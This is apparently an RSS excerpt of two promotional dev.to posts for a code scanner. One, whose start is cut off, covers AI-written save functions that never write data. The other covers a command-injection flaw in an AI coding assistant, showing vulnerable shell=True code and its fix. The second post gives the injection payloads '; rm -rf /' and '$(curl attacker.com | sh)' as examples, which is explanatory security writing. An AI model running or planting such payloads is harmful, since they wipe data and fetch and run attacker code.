&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate_schema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitize_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saving user &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It validates. It sanitizes. It logs. It returns a success response.&lt;/p&gt;

&lt;p&gt;It saves absolutely nothing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why AI generates this
&lt;/h2&gt;

&lt;p&gt;Language models are trained on code where &lt;code&gt;save_user&lt;/code&gt; functions often validate input, call some DB function, and return a success response. When the model generates &lt;code&gt;save_user&lt;/code&gt;, it produces the surrounding pattern — but sometimes skips the actual DB call. The function &lt;em&gt;looks&lt;/em&gt; like it saves. The return value says it saved. Nothing was written to disk.&lt;/p&gt;

&lt;p&gt;This is the &lt;code&gt;MISSING_WRITE&lt;/code&gt; pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Function name contains &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;store&lt;/code&gt;, &lt;code&gt;insert&lt;/code&gt;, &lt;code&gt;persist&lt;/code&gt;, or &lt;code&gt;upsert&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;No INSERT, UPDATE, or write operation anywhere in the body&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Real-world impact
&lt;/h2&gt;

&lt;p&gt;In production:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User submits form → &lt;code&gt;save_user()&lt;/code&gt; called&lt;/li&gt;
&lt;li&gt;Response: &lt;code&gt;{"status": "saved"}&lt;/code&gt; ✅&lt;/li&gt;
&lt;li&gt;User refreshes → data gone&lt;/li&gt;
&lt;li&gt;Support ticket: "why does your app keep losing my data?"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The error never throws. The logs say "Saving user 123". The response is 200 OK.&lt;/p&gt;




&lt;h2&gt;
  
  
  Catch it before it ships
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@your_file.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MISSING_WRITE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"severity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"BLOCK"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"line"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"save_user() contains no database write — possible stub or incomplete implementation"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub CI: &lt;code&gt;Moonsehwan/aina-vibeguard-action@v1&lt;/code&gt; | Free key: &lt;code&gt;vg_free_test&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Your Vibe Score?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan — Try it free&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Paste any file. Get a score 0–100, a grade (S🦄 → F-💣), and a per-vulnerability roast.&lt;br&gt;
Supports Python, JS, TS, Go, Ruby, Java, Kotlin, PHP, C/C++ · No signup · Instant results&lt;/p&gt;

</description>
      <category>python</category>
      <category>ai</category>
      <category>webdev</category>
      <category>beginners</category>
    </item>
    <item>
      <title>I found a COMMAND_INJECTION in a 25k ⭐ AI coding assistant (in 3 seconds)</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Mon, 22 Jun 2026 05:54:44 +0000</pubDate>
      <link>https://dev.to/ainascan/i-found-a-commandinjection-in-a-25k-ai-coding-assistant-in-3-seconds-3p1n</link>
      <guid>https://dev.to/ainascan/i-found-a-commandinjection-in-a-25k-ai-coding-assistant-in-3-seconds-3p1n</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🎯 Try it live → &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;&lt;/strong&gt; — paste your code, get a Vibe Score (0–100) with grade S🦄 to F-💣. Free, no signup.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;Last week I scanned &lt;strong&gt;serena&lt;/strong&gt; — a popular AI coding assistant with 25k ⭐.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BLOCK&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;COMMAND_INJECTION&lt;/span&gt;  &lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1222&lt;/span&gt;
&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;arbitrary&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt; &lt;span class="n"&gt;execution&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan took 3 seconds. The bug had been in the repo for months.&lt;/p&gt;




&lt;h2&gt;
  
  
  What COMMAND_INJECTION looks like in AI code
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI generates this pattern constantly
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# BLOCK: arbitrary shell execution
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any config value becomes arbitrary shell execution. &lt;code&gt;; rm -rf /&lt;/code&gt; works. &lt;code&gt;$(curl attacker.com | sh)&lt;/code&gt; works.&lt;/p&gt;

&lt;p&gt;The fix is one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;user_config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But AI doesn't make that fix by default. It generates the dangerous version because &lt;code&gt;shell=True&lt;/code&gt; appears everywhere in training data.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this slips past reviewers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;It looks intentional (sometimes shell=True is legitimate)&lt;/li&gt;
&lt;li&gt;The function name is &lt;code&gt;run_command&lt;/code&gt; — of course it runs commands&lt;/li&gt;
&lt;li&gt;No obvious user input path visible at the call site&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The actual input path is 3 function calls deep. Static analysis finds it immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Scan your repo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan a single file&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@agent.py"&lt;/span&gt;

&lt;span class="c"&gt;# Scan a zip of your whole project&lt;/span&gt;
zip &lt;span class="nt"&gt;-r&lt;/span&gt; project.zip src/
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@project.zip"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;48 patterns, 9 languages. Free key: &lt;code&gt;vg_free_test&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;GitHub Action: &lt;code&gt;Moonsehwan/aina-vibeguard-action@v1&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Your Vibe Score?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan — Try it free&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Paste any file. Get a score 0–100, a grade (S🦄 → F-💣), and a per-vulnerability roast.&lt;br&gt;
Supports Python, JS, TS, Go, Ruby, Java, Kotlin, PHP, C/C++ · No signup · Instant results&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>python</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
